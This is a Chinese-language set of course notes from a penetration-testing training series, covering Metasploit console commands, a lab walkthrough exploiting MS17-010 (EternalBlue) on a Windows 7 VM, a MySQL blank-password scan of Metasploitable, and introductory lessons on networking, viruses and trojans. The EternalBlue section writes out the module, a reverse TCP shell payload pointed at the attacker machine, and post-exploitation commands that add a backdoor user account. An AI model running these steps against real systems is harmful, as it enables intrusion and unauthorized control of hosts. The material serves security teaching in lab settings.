在msfconsole提示符下输入 help 命令,可以查看所有可用的命令,主要分为以下几类:
- 核心命令:包含最常用的一些基础命令。
- 模块命令:用于操作各种渗透模块的命令。
- 后台任务命令:管理后台运行的任务。
- 数据库后端命令:管理数据库,如导入导出扫描报告。
- 凭证后端命令:管理获取到的凭证信息。
- 开发人员命令:用于编辑和开发模块(需要Ruby语言基础)。
对于初学者,我们首先关注前两类中的常用命令。



常用命令详解
1. Connect命令

connect 命令主要用于连接远程主机,通常在内网渗透中使用。其基本语法是连接指定IP地址和端口。

例如,连接IP为192.168.1.1的主机的80端口:
connect 192.168.1.1 80
连接成功后,可以在该会话中直接向目标发送HTTP请求,例如获取Web服务器信息:
GET / HTTP/1.0
执行上述命令后,可能会在响应头中看到服务器版本信息(如 nginx/1.6.2),这有助于后续寻找对应的漏洞。

重要提示:必须在成功执行 connect 命令建立连接后,才能输入后续的请求命令。直接在 msf5 > 提示符下输入 GET 命令会报错。




2. Show命令
show 命令用于列出框架中的各种模块。为了避免列出所有内容导致加载缓慢,通常需要指定参数来查看特定类型的模块。

以下是 show 命令的常用参数:
show exploits:列出所有渗透攻击模块。show payloads:列出所有攻击载荷模块。show auxiliary:列出所有辅助模块。show encoders:列出所有编码器模块。show all:列出所有模块(慎用,加载很慢)。
例如,执行 show exploits 会列出所有可用的漏洞利用模块,但数量可能非常庞大,加载需要时间。
3. Search命令 🔍
由于模块数量巨大,直接使用 show 命令查找效率低下。search 命令是查找特定模块最常用、最高效的工具。
输入 search -h 可以查看该命令的帮助信息和可用参数。

基础搜索
最直接的方式是使用关键字搜索。例如,搜索所有与 mysql 相关的模块:
search mysql

或者根据漏洞编号(如MS08-067)搜索:
search ms08-067

搜索结果会显示多个字段:
- Name:模块名称。
- Disclosure Date:漏洞披露日期。
- Rank:利用模块的可靠性等级。
- Check:是否支持漏洞存在性检查。
- Description:模块描述。

Rank等级说明
Rank等级反映了漏洞利用模块的可靠性和对目标系统的影响,从高到低排列:
- Excellent:利用程序非常可靠,通常不会导致服务崩溃(如SQL注入)。
- Great:有默认目标系统,能自动检测或返回特定地址。
- Normal:可靠性一般,是常见的利用状态。
- Average:可靠性较低。
- Low / Manual:不稳定或难以利用,通常需要手动配置。

在选择模块时,Rank等级可以作为重要的参考依据。

高级搜索
为了更精确地定位模块,可以使用联合搜索参数:

- 按路径搜索:当只记得模块路径时使用。
search path:mysql


-
按平台搜索:缩小到特定操作系统平台。
search platform:windows mysql -
按类型搜索:查找特定类型的模块。
search type:exploit mysql -
按CVE编号搜索:CVE(公共漏洞和暴露)是为广泛认可的安全漏洞分配的公共名称。通过CVE编号可以精准查找对应模块。
search cve:2017-8464 search cve:2018- platform:linux
联合使用这些参数可以极大提高搜索的精准度,例如查找Windows平台下MySQL的渗透攻击模块:
search platform:windows type:exploit mysql

总结 📝
本节课中我们一起学习了Metasploit框架的入门知识。我们首先了解了其对PostgreSQL数据库的依赖以及启动方法。然后,我们掌握了进入msfconsole的两种方式,并解决了首次启动时的数据库初始化问题。最后,我们重点讲解了三个核心命令:用于连接主机的 connect、用于查看模块的 show,以及功能强大、用于精准查找模块的 search 命令及其各种高级用法。


熟练掌握这些基础命令,是后续有效使用Metasploit进行漏洞利用和渗透测试的关键第一步。
P64:11.4-【Metasploit渗透】Metasploit基本使用方法-2 🔧
在本节课中,我们将要学习Metasploit框架中几个核心命令的使用方法,包括use、info、show和back。我们将通过一个经典漏洞MS08-067的模块来演示这些命令的实际应用,帮助你掌握加载、查看和配置模块的基本流程。
模块加载命令:use 🚀
上一节我们介绍了如何搜索模块,本节中我们来看看如何加载并使用一个模块。use命令是加载模块的关键命令,其英文翻译为“使用”,主要用于加载指定的模块。
加载模块后,才能对该模块进行相关设置并执行。其基本语法如下:
use <模块名称>
例如,要使用一个模块,必须通过use命令来加载它。
经典漏洞:MS08-067 💥

这里我们来了解一个比较典型且著名的经典漏洞:MS08-067。该漏洞于2008年由微软披露。如果用户在受影响的系统上收到特制的RPC请求,该漏洞可能允许远程执行代码。
此漏洞影响Windows 2000、Windows XP和Windows Server 2003系统。攻击者可能无需身份验证即可利用此漏洞运行任意代码,甚至可以进行蠕虫攻击。

要想使用与此漏洞相关的模块,首先需要通过漏洞编号来查找对应的模块。

我们可以搜索“ms08-067”。直接查找会有一个对应的模块。该模块的Rank等级为“great”,表示相对较好且容易利用。
模糊查找功能 🔍

在进行搜索时,我们可能不可避免地会输错模块名称,例如将下划线输成横杠,或将小写字母输成大写。

以下是三种可能的输入方式:
- 使用下划线:
ms08_067 - 使用减号:
ms08-067 - 使用大写字母:
MS08-067

那么,这三种方式都能搜到结果吗?我们可以验证一下。
之前用ms08_067的方式可以搜到结果。使用横杠ms08-067的方式,同样可以搜索到结果。


使用大写MS08-067的方式,也一样可以搜索到。


这说明这三种搜索方式的结果都是一样的。也就是说,Metasploit支持模糊查找,并且不区分大小写。这使得在查找相关模块时更加方便。
使用use命令加载模块 ⬆️

找到模块后,我们需要使用use命令来加载这个模块。
加载模块的方法是通过use命令后跟上模块名称。例如,输入use后加空格和模块名称,然后回车。


当出现模块提示符时,证明已经加载成功。使用use加载模块后,MSF的命令提示符会变为对应的模块信息。稍后我们会使用这个模块来进行攻击。
这是关于use命令的使用方法。笔记整理如下:use空格后面跟上模块的名称,就可以装载这个模块。
退出当前模块:back命令 ↩️
装载模块之后,如果想退出当前模块而不退出整个Metasploit框架,应该使用back命令。



注意,这个命令是back,而不是exit。back命令用于退出当前调用的模块。

查看模块信息:info命令 ℹ️
加载模块后,我们可能会遇到一个陌生的模块,不知道如何使用或不清楚其功能。这时可以通过info命令来查看模块的详细信息。
info命令有两种使用方法:
- 通过
info空格后跟上模块名称来查找该模块的信息。 - 先使用
use命令加载模块,然后在模块内执行info命令来查看信息。
我们来演示这两种方式。第一种方式是直接使用info <模块名称>。

这样可以查看到关于该模块的详细信息。
第二种方式是先加载模块,再执行info命令。


首先加载模块。



然后执行info命令。
通过info命令可以查看到以下相关信息:
- 模块名称:该模块的名称。
- 平台:模块针对的操作系统平台。
- 许可证:模块的许可证信息。
- Rank等级:模块的可靠性等级。
- 披露日期:漏洞被披露的日期。
- 版权信息:相关的版权信息。
- 可用目标:该漏洞可以攻击哪些操作系统。
- Check支持:是否支持在利用前检查目标是否存在该漏洞。
- 基础参数:调用漏洞需要设置的基本参数。
- Payload信息:漏洞利用成功后,在目标机上执行的代码及其大小。
- 描述:关于该漏洞的详细描述。
- 参考文档:提供了一些关于该漏洞的参考文档链接。

这是关于查看模块相关信息的介绍。
查看与设置模块参数:show命令 ⚙️
加载并调用模块之后,接下来我们需要使用show命令来查看模块的相关信息,特别是利用该模块需要设置哪些参数。这也是一个经常用到的命令。
使用show options可以查看模块的选项。

运行后,我们可以看到相关参数。参数列表包含以下列:
- Name:参数的名称。
- Current Setting:参数的当前默认值。
- Required:该参数是否为必填项。
yes表示必填,no表示非必填。 - Description:关于该参数的详细描述,说明该参数的用途。
需要注意,RHOSTS参数后面有个‘s’,这代表目标机的IP地址。你可以设置多个目标IP,这意味着利用该模块可以对多个目标同时进行渗透攻击。
TARGET参数是指攻击目标的操作系统类型,默认是自动选择。例如,MS08-067漏洞可以攻击的目标系统较多,我们可以通过show targets来查看具体列表。

因此,我们需要指定目标类型,否则利用通常不会成功。例如,如果目标是XP SP3简体中文版,其ID是34。要对该目标进行渗透,必须指定目标:set target 34。
set是设置命令,后面跟参数名称和要设置的值。设置完成后,可以通过show options来查看设置是否成功。
另一个必须设置的参数是RHOSTS,即目标机的IP地址。设置方法为:set RHOSTS <目标IP>,例如set RHOSTS 192.168.1.154。
设置完成后,通过show options查看设置是否成功。

假如设置完成后想取消某项设置,可以使用unset命令后跟参数名称。然后再通过show options查看,该参数已被取消。
但需要注意,目标机IP地址RHOSTS是必须设置的。不设置目标,就无法进行渗透攻击。
执行模块与退出 🏃♂️
所有参数都配置好之后,可以通过exploit或run命令来执行该模块,对目标机进行渗透或漏洞利用。这两个命令意思相同。
back命令用于退出已装载的模块,但不会退出Metasploit框架。切记不要使用exit,因为exit会直接退出整个Metasploit框架,这一点必须注意。
总结 📝
本节课中我们一起学习了Metasploit框架的一些基本使用方法,主要是一些常用命令的操作。这些是大家在后续渗透测试过程中,利用各种模块时会经常使用到的核心技能,必须熟练掌握。

我们学习了:
- 使用
use命令加载模块。 - 通过
info命令查看模块的详细信息。 - 利用
show options查看和配置模块所需的参数。 - 使用
set和unset来设置或取消参数。 - 最后用
exploit或run执行攻击,并用back退出当前模块。
课程P65:11.5【Metasploit渗透】实战-使用msf渗透攻击Win7主机并远程执行命令 🎯
概述
在本节课中,我们将学习如何使用Metasploit框架,利用经典的“永恒之蓝”漏洞(MS17-010),对一台存在该漏洞的Windows 7主机进行渗透攻击,并最终获取其远程命令执行权限。我们将从漏洞背景介绍开始,逐步讲解信息收集、模块配置、载荷设置到最终攻击的完整流程。
永恒之蓝漏洞背景
永恒之蓝是2017年4月14日晚由黑客组织“影子经纪人”公布的一批网络攻击工具之一。它利用Windows系统的SMB协议漏洞,可以获取系统的最高权限。
2017年5月12日,不法分子通过改造永恒之蓝,制作了WannaCry勒索病毒。该病毒会加密受害者电脑中的所有文件,并要求支付高额比特币赎金以解密。全球多个国家的高校、企业和政府机构都曾遭受此病毒攻击。
Windows 7系统于2009年发布,现已停止维护,但永恒之蓝漏洞依然存在于未打补丁的系统中。本节课将利用此经典漏洞演示如何通过Metasploit渗透攻击模块获取目标主机的权限。
关于永恒之蓝漏洞,微软官方有相关安全公告,其漏洞编号为MS17-010。该漏洞严重影响Windows SMB服务,如果攻击者向Windows SMBv1服务器发送特殊设计的消息,最严重的情况下可能允许远程执行代码。
实验环境准备

本次实战攻击的目标是一台Windows 7 旗舰版 SP1 64位系统。目标系统镜像可通过提供的百度网盘链接下载。该系统已设置初始快照,登录密码为 123456。
在开始攻击前,需要注意目标机的网络配置:
- 445端口:SMB服务端口,必须处于开启状态。
- 防火墙:如果防火墙开启,需确保网络位置为“家庭”或“工作”网络。“公用”网络的防火墙策略更严格,可能阻止渗透。
- 可使用
nmap等工具扫描目标机IP和端口状态进行确认。

Metasploit渗透攻击流程
利用已知漏洞编号对目标进行渗透攻击,其标准流程如下:
- 根据漏洞编号(如MS17-010)在Metasploit中搜索对应模块。
- 加载(
use)找到的模块。 - 查看(
show options)并设置模块所需参数(主要是目标IP)。 - 配置攻击载荷(
payload),建立与目标机的连接。 - 执行(
run或exploit)攻击。
接下来,我们将按照这个流程逐步操作。

步骤一:扫描确认漏洞存在
在发起正式攻击前,最好先确认目标主机是否存在该漏洞。Metasploit提供了辅助扫描模块。

以下是搜索并使用扫描模块的步骤:

search ms17-010
use auxiliary/scanner/smb/smb_ms17_010
show options
set RHOSTS 192.168.1.56
run
执行扫描后,如果结果显示 Host is likely vulnerable to MS17-010,则证明目标主机存在该漏洞,可以继续进行渗透攻击。
步骤二:选择并配置攻击模块
确认漏洞存在后,我们需要使用攻击(exploit)模块。在搜索结果中,我们选择 exploit/windows/smb/ms17_010_eternalblue 模块。
以下是加载并配置攻击模块的步骤:
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOST 192.168.1.56
设置目标IP后,通常无需更改其他默认参数。可以通过 show targets 命令查看模块支持的操作系统,本例中默认目标(Windows 7)即可。

步骤三:理解并配置攻击载荷(Payload)


仅仅利用漏洞还不够,我们的最终目的是与目标机建立连接并执行命令。这需要通过攻击载荷(Payload)来实现。
攻击原理:
- 攻击机(Kali)利用漏洞模块攻击目标机(Win7)。
- 攻击成功后,攻击机会向目标机发送一段Payload代码(即后门)。
- 该Payload会在目标机上执行,并尝试反弹连接(Reverse Connection)回攻击机事先监听的IP和端口。
- 连接建立后,攻击机便获得了目标机的一个命令交互会话(Session)。

因此,我们需要为攻击模块配置一个合适的Payload。我们选择反向连接的Shell。
以下是搜索并设置Payload的步骤:
search platform:windows -t payload
set payload windows/x64/shell/reverse_tcp
show options
set LHOST 192.168.1.53
set LPORT 4444
关键参数说明:
LHOST:监听主机的IP,即攻击机(Kali)的IP地址。LPORT:监听端口,攻击机等待目标机反弹连接的端口。


步骤四:执行攻击与获得Shell
所有参数配置完成后,即可执行攻击。
exploit

如果攻击成功,Metasploit会显示 Meterpreter session X opened 的信息,表示已建立会话。有时界面会暂停,只需按一下回车键,即可出现目标机的命令提示符(如 C:\Windows\system32>)。
此时,我们已获得目标机的System权限(Windows最高权限)。可以执行各种命令,例如:
chcp 65001 # 解决可能出现的乱码问题
net user # 查看系统用户
net user admin Adm123 /add # 添加一个新用户


步骤五:会话管理技巧
在渗透测试中,灵活管理会话非常重要。

- 返回Metasploit:在Shell中执行
background命令,可以将当前会话置于后台。 - 查看所有会话:在msf提示符下执行
sessions命令。 - 进入指定会话:执行
sessions -i [会话ID]。 - 结束会话:执行
sessions -k [会话ID]或 在会话中按Ctrl+C。 - 后台运行攻击:执行
exploit -j可以让攻击模块在后台运行并监听。


总结


本节课我们一起学习了使用Metasploit框架进行渗透攻击的完整流程。我们以“永恒之蓝”(MS17-010)漏洞为例,从漏洞背景介绍开始,逐步演练了扫描确认漏洞、选择配置攻击模块、理解并设置反弹连接载荷、执行攻击获取Shell以及基础会话管理等关键步骤。
核心流程可以总结为以下公式:
信息收集 → 漏洞确认 → 模块加载与配置(use/set) → 载荷绑定(set payload) → 执行攻击(exploit) → 会话交互与管理

通过这个实战,你应该对Metasploit如何利用一个已知漏洞获取远程系统权限有了直观的认识。请务必在授权和合法的环境中进行练习,巩固所学知识。
课程 P66:11.6 - 【Metasploit渗透】实战-使用msf扫描靶机MySQL服务空密码 🎯
在本节课中,我们将学习如何使用Metasploit框架(msf)来扫描目标主机上MySQL服务的空密码漏洞。这是一个常见的安全检测场景,有助于发现因配置不当导致的安全风险。


环境准备与目标确认 🖥️

首先,我们需要启动一台预配置好的Metasploitable 2 Linux靶机。在本例中,靶机的网络模式为桥接,IP地址为192.168.1.180。攻击机为Kali Linux,IP地址为192.168.1.53。


以下是网络拓扑示意图:

在真实的渗透测试中,我们通常无法直接登录目标主机。因此,需要通过信息收集技术(如扫描)来发现目标。为了演示,我们暂时登录靶机以确认其IP地址。

登录靶机使用的账号密码为root/123456。执行命令ip a可以查看其IP地址,确认为192.168.1.180。

确认无误后,我们回到Kali攻击机开始操作。


搜索并加载扫描模块 🔍

接下来,我们需要在Metasploit中搜索用于扫描MySQL空密码的模块。正常的MySQL服务应设置密码,空密码是一种不安全配置,本练习旨在检测此类风险。
在msfconsole中,我们可以搜索与MySQL登录(login)相关的模块。
search mysql_login
搜索结果会显示一个辅助(auxiliary)模块,其作用是进行信息收集和扫描。


我们使用use命令加载该模块。
use auxiliary/scanner/mysql/mysql_login

配置模块参数 ⚙️

加载模块后,我们需要查看并设置相关参数。使用show options命令可以查看所有可配置项。
以下是需要设置的核心参数:
- 启用空密码检测:默认参数
BLANK_PASSWORDS为false,即不检测空密码。我们需要将其设置为true。set BLANK_PASSWORDS true

-
设置目标主机:参数
RHOSTS用于指定目标主机的IP地址。set RHOSTS 192.168.1.180请注意,您应根据自己靶机的实际IP地址进行设置。
-
指定检测的用户名:为了有针对性地检测
root账号的空密码,我们需要设置USERNAME参数。set USERNAME root
参数配置完成后,即可运行模块。

执行扫描与分析结果 📊

使用run或exploit命令执行扫描。
run
扫描结果会很快显示。如果目标存在空密码,结果中会出现+号标识的成功信息。
例如,结果可能显示:
[+] 192.168.1.180:3306 - Found remote MySQL version X.X
[+] 192.168.1.180:3306 - Success: 'root:'
其中Success: 'root:'表示成功检测到root用户的密码为空。

扫描到的凭证(用户名和密码)会自动保存到Metasploit的后端数据库(PostgreSQL)中。我们可以使用creds命令列出所有已保存的凭证。
creds
该命令会列出所有主机的凭证信息,包括服务类型、端口、IP地址和发现的账号密码。

数据库操作:导出与导入扫描结果 💾
在渗透测试中,我们经常需要将扫描结果从一台Metasploit主机导出,并导入到另一台主机中。这涉及到数据库的后端命令操作。
以下是几个常用的数据库命令:
db_connect: 连接到现有数据库。db_disconnect: 断开与当前数据库的连接。db_export: 导出包含数据库内容的文件。db_import: 导入扫描结果文件。

导出扫描结果

我们可以将扫描结果导出为XML格式,这是一种通用的报告格式。
db_export -f xml /root/backup.xml
此命令将数据库内容导出到/root/backup.xml文件中。

导入扫描结果

为了演示导入功能,我们可以先重置Metasploit的数据库(清空现有数据),然后再导入刚才备份的文件。
- 重置数据库:
注意:此操作会清空所有现有数据,请谨慎使用。msfdb reinit - 重新进入
msfconsole。 - 使用
hosts命令查看,确认数据库为空。 - 导入之前导出的备份文件:
db_import /root/backup.xml - 再次使用
hosts命令,可以看到之前扫描的主机记录已成功导入。


管理扫描结果:hosts与services命令 🗃️
当扫描了大量主机后,我们需要有效地查看和管理这些结果。hosts和services是两个核心命令。

hosts 命令
hosts命令用于列出所有扫描到的主机信息。它支持多种参数进行过滤和自定义显示。

以下是hosts命令的一些用法示例:
- 查看帮助:
hosts -h - 自定义显示列:使用
-c参数指定要显示的字段。hosts -c address,os_name,vuln_count - 搜索主机:使用
-S参数进行模糊搜索。hosts -S 192.168 - 删除指定主机:使用
-d参数后跟IP地址。hosts -d 192.168.1.180

services 命令

services命令用于查看所有主机上开放的服务、端口及版本等详细信息。
以下是services命令的一些用法示例:
- 查看所有服务:
services - 查看指定主机的服务:使用
-R参数后跟IP地址。services -R 192.168.1.180 - 搜索特定服务:使用
-S参数进行搜索,可匹配端口号或服务名。services -S 3306 services -S mysql services -S open
导入其他工具的扫描结果 🔄

除了Metasploit自身的扫描结果,我们还可以将其他工具(如Nmap)的扫描结果导入到Metasploit数据库中。
例如,使用Nmap进行扫描并输出XML格式的结果:
nmap -A -oX /root/scan_result.xml xuegod.cn
在msfconsole中,使用db_import命令导入该XML文件:
db_import /root/scan_result.xml
导入后,即可使用hosts和services命令查看和管理这些来自Nmap的扫描结果。


常用命令总结与课程回顾 📝
本节课我们主要学习了以下内容:
- Metasploit框架基础:回顾了其架构、目录结构及基本使用方法。
- 实战扫描MySQL空密码:从搜索模块、配置参数到执行扫描和分析结果,完成了完整的检测流程。
- 数据库管理:学习了如何导出和导入扫描结果,以便在不同环境间迁移数据。
- 结果查看与管理:掌握了使用
hosts和services命令及其高级参数来有效查看、搜索和管理大量扫描结果。 - 集成外部工具:了解了如何将Nmap等外部工具的扫描结果导入Metasploit,实现信息的集中管理。

通过本课的学习,你应该能够熟练使用Metasploit进行特定漏洞的扫描,并有效地管理渗透测试过程中收集到的海量信息。多加练习这些命令,它们对于提高渗透测试效率至关重要。
课程P7:3.1-网络安全基础-计算机基础(上) 🖥️
在本节课中,我们将学习网络安全学习前必须掌握的一些计算机基础概念。我们将解释课程中常出现的名词,以避免理解上的偏差。主要内容包括计算机网络的基本构成和信息系统的定义。
计算机网络基础
上一节我们介绍了网络安全学习的准备工作。本节中,我们来看看计算机网络的基础概念。
计算机网络是通过传输介质,将分布在世界各地的计算机系统连接起来,以实现资源共享和信息传递的系统。常见的网络类型包括广域网、局域网和城域网等。
传输介质

传输介质是网络连接的物理载体。以下是常见的传输介质类型。

导向式传输介质

导向式传输介质指有形的、信号沿固定路径传播的介质。

双绞线(网线)
双绞线是最常见的网线,由多对双绞的铜线组成。它主要分为正双绞线和反双绞线。

- 正双绞线:用于连接交换机、路由器等网络设备。其标准线序(T568B)是网络工程师的必备技能。
- 线序公式:
橙白、橙、绿白、蓝、蓝白、绿、棕白、棕
- 线序公式:
- 反双绞线(双机互联线):用于直接连接两台计算机,无需通过交换机。其制作方法是将一端的线序进行调整。
- 线序调整规则:将一端线序的 第1根 与 第3根 对调,第2根 与 第6根 对调。
网线分类与性能
网线按性能分为不同类别,直接影响网络速度。

- 六类线/超六类线:可支持百兆及以上网络速度。
- 七类线:可支持千兆网络速度。
- 八类线:可支持万兆网络速度。
选择网线时,应注意线材质量(如无氧铜优于铁线)以及是否带屏蔽层(用于防干扰和窃听)。
同轴电缆
这是一种较老的传输介质,多见于未进行光纤改造的老旧小区,最高承载速率通常仅为4兆左右。
光纤
光纤利用光信号传输数据,速度极快。主要分为两种:
- 单模光纤:中心只有一根纤芯,传输距离远,常用于家庭宽带入户。
- 多模光纤:中心有多根纤芯,传输距离相对较短,成本较低。
非导向式传输介质
非导向式传输介质指无线传输介质,信号在自由空间中传播。
常见的非导向式介质包括:蓝牙、红外、微波、Wi-Fi 以及 量子通信 等。
传输协议与资源共享

网络中计算机之间的通信需要遵循共同的规则,这些规则就是传输协议(如TCP/IP)。协议约定了数据如何打包、寻址、传输和校验。
计算机网络的核心目的之一是 资源共享。这里的资源范畴很广:
- 硬件共享:如共享打印机、存储设备。
- 软件共享:如通过网络访问服务器上的应用程序。
- 数据与存储共享:如访问网络硬盘(NAS)、云存储。
- 计算资源共享:云计算 的本质就是提供一个可共享的CPU、内存、存储和网络资源池,用户按需付费使用。
信息系统
了解了网络的基础后,我们来看另一个核心概念:信息系统。
所谓信息系统,是指能够进行 信息的采集、传输、存储和加工 处理的系统。

简单来说,信息系统是处理“信息”这一核心要素的完整流程。从获取信息(采集),到发送信息(传输),到保存信息(存储),再到处理和分析信息(加工),构成了信息系统的基本功能。

课程总结
本节课中我们一起学习了网络安全入门所需的两个重要计算机基础概念。

首先,我们介绍了 计算机网络,了解了其定义、常见的传输介质(包括有线的双绞线、同轴电缆、光纤和无线的Wi-Fi等)以及网络的核心目的——资源共享。
其次,我们明确了 信息系统 的基本含义,即一个能够对信息进行采集、传输、存储和加工处理的完整体系。

理解这些基础概念,将为后续深入学习网络协议、系统架构和安全原理打下坚实的基础。
课程P8:3.2-网络安全基础-计算机基础(下) 🔐
在本节课中,我们将要学习计算机信息系统的基本概念,了解其定义、常见类型以及它们在我们日常生活中的应用。

什么是计算机信息系统? 💻

上一节我们介绍了计算机系统的基本构成,本节中我们来看看什么是计算机信息系统。
一个能够被使用,并且能够进行维护的计算机应用系统,就称之为信息系统。



信息系统的常见类型 📊
理解了信息系统的定义后,我们来看看它在现实世界中的具体体现。以下是信息系统的一些常见例子:

- 办公自动化系统。
- 人力资源管理系统。


- 客户关系管理系统。
- 在线教育平台。
- 云计算平台。
- 各类手机应用程序,例如火车、飞机的订票系统。
- 超市的收银操作系统。
- 超市的库存盘点系统。




总结 📝
本节课中我们一起学习了计算机信息系统。我们明确了信息系统的定义,即可被使用和维护的计算机应用系统。同时,我们也列举了办公自动化、人力资源、在线教育、电子商务等多个领域的常见信息系统实例,认识到它们已深度融入我们的工作和生活。
课程P9:4.1-网络安全基础-病毒、恶意程序、入侵(上) 🔐
在本节课中,我们将要学习网络安全的基础概念,包括信息安全、计算机病毒、木马以及入侵等核心内容。这些知识是理解网络安全攻防的基础。
信息安全概述 🛡️
上一节我们介绍了信息系统,本节中我们来看看如何保护它。信息安全是一个广泛的学科领域。
信息安全是指保护信息系统中的计算机硬件、软件及数据,使其不因偶然或恶意的原因而遭到破坏、更改或泄露。网络安全是一个持续对抗的过程,新的攻击手段出现后,相应的防御手段也会随之产生。
信息安全的目标主要包括以下三个方面:
以下是信息安全的主要目标:
- 防止信息被更改:例如,网站首页被恶意篡改。我们可以利用操作系统的特性(如监测文件MD5值的变化)编写监控脚本来进行告警。
- 防止信息被泄露:例如,敏感数据(如选举信息)被黑客盗取并公开。
- 保障系统连续可靠地正常运行:这通常意味着系统需要保持高可用性,例如实现
7x24小时不间断服务,这主要由运维工程师负责。
从狭义上讲,信息安全主要指保护信息系统的保密性、完整性和可用性。金融、电信、能源(如国家电网)及军工等对数据保密性要求极高的行业,是信息安全人才的重要去向。
计算机病毒 🦠
了解了保护信息的目标后,我们来看看常见的威胁之一:计算机病毒。
计算机病毒是指编制或在计算机程序中插入的,用于破坏计算机功能、毁坏数据、影响计算机使用,并且能够自我复制的一组计算机指令或程序代码。
计算机病毒通常具有以下几个特点:

以下是计算机病毒的典型特点:
- 寄生性:病毒可以注入到其他正常程序中,随该程序的运行而激活。
- 隐蔽性:病毒不易被用户察觉,但可通过专业工具进行检测。
- 传染性:病毒能够自我复制,并感染其他文件或系统。

防御和查杀病毒并不局限于特定工具。除了Kali Linux等安全系统,微软也提供了官方的安全工具集(Sysinternals Suite),其中包含上百款实用工具,可用于维护和诊断Windows系统,例如管理启动项、分析进程等。

本质上,病毒就是一段实现了特殊功能的程序代码。技术本身是中性的,关键在于使用者将其用于何种目的。
特洛伊木马 🐎
另一种常见的恶意程序是木马,它的目的与病毒有所不同。
特洛伊木马(简称木马)是一种用来非法收集信息或远程控制另一台计算机的特定程序。
木马的目的在于像操纵木偶一样,悄无声息地收集目标计算机中的资料,或接受黑客指令进行远程控制。这类程序通常采用C/S架构(客户端/服务器架构)。攻击者会在目标计算机上植入客户端程序,并与攻击者控制的服务器端建立连接(通过 TCP/IP 协议),从而传输数据或指令。
木马程序常通过社会工程学手段进行伪装和传播。所谓社会工程学,就是研究并利用人的心理和行为习惯。
以下是木马常见的伪装和传播方式:
- 伪装成程序包、压缩文件、图片或视频:例如,以“最新电影”、“精美图片”为诱饵,诱使用户点击。
- 通过网页、邮件或即时通讯软件传播:例如,发送带有恶意附件的钓鱼邮件或即时消息。
- 利用公共Wi-Fi:在机场、火车站等场所提供免费但危险的Wi-Fi,诱导用户连接并下载恶意软件。
用户一旦打开或运行这些木马程序,计算机或智能终端(手机、平板)就会被植入木马,可能导致数据被窃取、篡改,或账户被盗用(例如,盗用QQ号向好友诈骗)。
在Windows系统下编写功能强大的木马,需要对Windows的 Win32 SDK 编程有深入的了解。
入侵行为 🚨
最后,我们来探讨一下什么是入侵行为。
入侵是指对计算机网络或系统进行的非授权访问行为。这通常是恶意的,目的是存取、处理信息或破坏系统。
入侵者并非为了“好玩”,其目的非常明确:
以下是入侵者的主要目的:
- 存取与处理信息:窃取账号密码等敏感信息,了解受害者习惯,甚至为长期控制而植入免杀木马。
- 破坏系统:直接破坏目标系统的正常运行。
防御入侵需要综合手段。仅依赖某些杀毒软件可能不足,因为恶意程序可能通过加壳、花指令等技术绕过检测(例如,简单的几行代码就可能绕过某些防护)。保持系统更新、使用可靠的安全软件并提高安全意识至关重要。
黑客与白帽 ⚖️
我们经常听到“黑客”一词,其内涵在国内已发生变化。
黑客最初泛指熟悉IT技术、热衷计算机与硬件的极客。现在,它多指从事安全行业的人员,其中既有利用技术进行非法活动的“黑帽黑客”,也有致力于发现并修复漏洞的“白帽黑客”。好与坏是相对的,许多白帽黑客白天在安全公司工作,晚上则可能以个人身份研究技术。
课程总结 📚

本节课中我们一起学习了网络安全的基础核心概念。
我们首先定义了信息安全及其三大目标(防篡改、防泄露、保可用)。
然后,我们剖析了两种主要威胁:具有寄生性、隐蔽性、传染性的计算机病毒,以及采用C/S架构、通过社会工程学传播的特洛伊木马。
接着,我们解释了恶意的非授权入侵行为及其目的。
最后,我们讨论了“黑客”一词含义的演变。理解这些基础概念,是进一步学习网络安全攻防技术的必经之路。


浙公网安备 33010602011771号